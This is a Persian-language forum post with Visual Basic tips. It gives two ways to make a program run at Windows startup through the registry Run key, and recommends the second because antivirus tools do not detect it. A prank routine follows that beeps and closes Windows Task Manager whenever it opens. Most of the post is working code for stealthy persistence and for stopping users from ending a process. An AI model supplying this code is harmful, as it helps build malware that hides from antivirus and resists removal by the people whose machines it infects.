7.قرار دادن برنامه در استارت آپ
من ایجا 2 روش رو می گم :
کد زیر را در ماژول بگذارید
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1
بعد کد زیر در فرم بزارید
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
در بیشتر آنتی ویروس ها این کد رو به عنوان ویروس تشخیص می ده
اما روش دوم
کد برای انداختن برنامه از آدرسی دیگر
Set reg = CreateObject("wscript.shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "a", "H:\book1.exe"
Set reg = Nothing
بجای H:\book1.exe باید آدرس برنامه تون رو بدید
این کد هم توسط ویروس یاب تشخیص داده نمی شه
- کد ترساندن و اعصاب خود کن
این کد طوری هست که اگر کاربر تسک منیجر ویندوز رو باز کنه صدای بیب داخل کیس شروع به زدن می کنه و کابر رو می ترسونه
اسن کد رو در ماژول کپی کنید
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
اول یک تایمر درست کنید و مقدار linterval رو برابر با 1 قرار دهید . کد زیر را درونش بزارید
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Beep 135, 3304
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
آخرین ویرایش: 04-07-2012 ???? 14:57، توسط
hamedre81